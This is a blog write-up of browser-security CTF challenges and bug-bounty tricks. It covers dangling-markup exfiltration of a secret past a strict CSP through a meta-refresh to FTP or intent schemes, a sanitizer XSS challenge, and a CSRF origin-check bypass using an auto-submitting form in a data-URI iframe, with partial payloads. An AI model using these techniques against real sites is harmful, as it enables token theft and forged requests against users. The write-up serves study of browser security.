The Tangled Browsers

The Tangled Browsers: Beyond XSS (Part 1)

I spend most of my time playing CTFs; I love solving binary exploitation and web challenges. Recently I concentrated more on web challenges, especially the client-side challenges based on the browsers' weird behaviors and their security features. Looking for client-side issues on bug bounty targets became my favorite Jutsu.

In a series of write-ups, I want to share some of the cool things I came across while playing CTFs and hunting. I made this write-up as parts because there are issues I want to share, which I submitted to GoogleVRP and a private program on Hackerone and made a few five-digit bounties.

Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; form-action 'none'; base-uri 'none': Don't dare to try an XSS.

Few days ago, Luan Herrera posted a challenge on twitter as a warmup for @Pwn2Win CTF and it took me two days to solve.


Looking at the CSP of the below response of the challenge page, there is no way we can get XSS on the page, so two things came into my mind one is XS-Search, and the other is Dangling Markup. I tried XS-Search for some time, but I couldn't come up with an idea to perform the search. After looking clearly at the HTML source, it's evident that we need to use dangling Markup to steal the token, check the single quote here: <h3>Winner's HoF</h3>.

To know more about dangling markup check this

HTTP/1.1 200 OK
Date: Wed, 27 May 2020 12:29:12 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
X-Frame-Options: deny
X-Content-Type-Options: nosniff
Referrer-Policy: no-referrer
Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; form-action 'none'; base-uri 'none';
Vary: Accept-Encoding
CF-Cache-Status: DYNAMIC
cf-request-id: 02f7b4beaf000100d36a86b200000001
Expect-CT: max-age=604800, report-uri=""
Server: cloudflare
CF-RAY: 599fbd777fd20000-SIN
Content-Length: 1366

<!DOCTYPE html>
<html lang="en">
  <meta charset="utf-8">
  <title>Pwn2Win Warmup</title>
  <h1>Pwn2Win Warmup challenge!</h1>

   <li>The objective is to exfiltrate the secret (flag) from this page.</li>
   <li>No user-interaction is allowed.</li>
   <li>The solution must work on the latest version of Google Chrome.</li>
   <li>If you find a solution, please DM me at Twitter: <a href="">@lbherrera_</a>.
   <li><b>The challenge has ended - thanks for playing!</b></li>

  <!-- /?xss=1337 -->

  <font id="secret" color="white">

  <h3>Winner's HoF</h3>
   <li><a href="">@diofeher</a>
   <li><a href="">@terjanq</a>
   <li><a href="">@haqpl</a>
   <li><a href="">@l4wio</a>
   <li><a href="">@Zombiehelp54</a>
   <li><a href="">@ret2jazzy</a> (unintended solution)
   <li><a href="">@itszn13</a>
   <li><a href="">@S1r1u5_</a>
   <li><a href="">@pwntheweb</a>
   <li><a href="#">You?</a></li>


Initially, I thought this is an easy challenge but later I came to know about few caveats.


  1. We can't just use <img src="' because it violates the CSP.
  2. We can use <meta http-equiv='refresh' content='0; which gracefully bypasses CSP and redirects to with the flag which works in all browsers but not in chrome. Plus, luan told in the description that the solution should work in chrome.

The reason the solution in 2nd point won't work in chrome because it has a security feature which blocks URLs contain '\n', '<` to stop dangling markup attacks :/.

Solution with user interaction

In this blog post: Evading CSP with DOM-based dangling markup, @garethheyes, discussed using the base tag to set the to the data we want to exfil by making the user click on a link.

Obviously, its not the solution we are looking for since the challenge should be solved without user interaction.

Solution with portal tag

We can use portal tag to leak the flag, but only constraint is we need to enable it

<portal src='

You can find the cool research on portal tag here, by SecurityMB

Then I went to Cure53 HTTPLeaks GitHub repository in a hope to find a tag that is not restricted by chrome security features, initially link-prerender, link-prefetch looked promising, but chrome security feature is blocking those.

Now, it became obvious to me that we need to bypass chrome security feature.

After spending so much time and brainstorming, I finally came to a solution using meta tag redirect. I thought if chrome is blocking URLs with '\n', '<' in the HTTP URL, what about other schemes like Intent, which works in android and the FTP? Indeed, it turned out to be the solution.


<meta http-equiv="refresh" content='0;URL=

<font id="secret" color="white">

<h3>Winner's HoF</h3>

I submitted the solution to luan, and he said you could use other schemes, obviously its FTP, we can set up rogue FTP and can leak the flag. I discussed the solution with Alex, and he told me that the solution wouldn't work in chrome canary as chrome will deprecate it soon.

Security MB's XSS Challenge

Michał Bentkowski posted a challenge on twitter, and I gave it a try, initially looking at the source(below) I thought it's impossible to solve, I saw comments of others saying this challenge is impossible to solve and it's a 0-day. So I backed off, later I saw some people solving the challenge so gave it a try, and solved it.

Description: XSS challenge #2


  • Please enter some HTML. It gets sanitized and inserted to a <div>.
  • The task is: execute alert(1).
  • The solution must work on current version of at least one major browser (Chrome/Edge, Firefox, Safari).
  • If you find a solution, please DM me at Twitter: @SecurityMB.
  • The challenge is based on code seen in the wild.
function process() { 
     const input = getInput();
     history.replaceState(null, null, '?xss=' + encodeURIComponent(input));
     const div = document.createElement('div');
     div.innerHTML = sanitize(input);
     // document.body.appendChild(div)

We can see in the above code, taking input from the user, sanitizing it, and assigning sanitized input to the innerHTML of the div tag. Still, the div tag is not appended to the DOM Tree, that comment made me think that it's not possible to solve the challenge, but after fiddling a lot using, I noticed a peculiar behavior when I gave <img src=x>, check the below screenshot.

What in the world was happening here? ref:,console,output

Then I thought it might be some optimization to prefetch the resources; you can see in the jsbin that event handlers are also working, so that's it! The only thing we need to do is find an issue in sanitize function.

I am leaving it to readers to find an issue in sanitize function and pop an alert box.

filedescriptor's Intigriti XSS challenge.

I don't want to go deep into this challenge, there are many writeups like this one from filedescriptor himself, this challenge took so much time to solve, but these challenges show how different browsers behave weirdly and how tangled they are. These behaviors inspire me to learn about this stuff.


To put this thing in simple words,

There is an open redirect and RPO, and firefox won't decode the last encode dot.

So we traverse back and fool server (which actually decodes the last encoded dot) that we are not redirecting and fool browser to load javascript with open redirect+rpo.

Check this resource,

Bad CSRF Mitigation

This is not a CTF challenge, but a neat trick which I learned from my CTF teammate Ajay. Recently when I am hunting on a private program on Hackerone, I came across an application that is mitigating CSRF by origin check. It seems secure to me initially; later, I found that if we delete the origin header, the server was still accepting the request.

So, our goal is to construct a request without an origin header. Yeah, we can do this in Firefox by loading an iframe with a data scheme, which has a null origin.

<iframe src='data:text/html,
             <body onload="document.forms[0].submit()">
             <form action="//" method="post">

We cant do this in chrome because it sets Origin: null header for above request, and firefox omits the header when there is no origin.

That's it for Part 1 of Tangled Browsers; soon, I will add the other parts.

If you have any queries or suggestions, DMs are open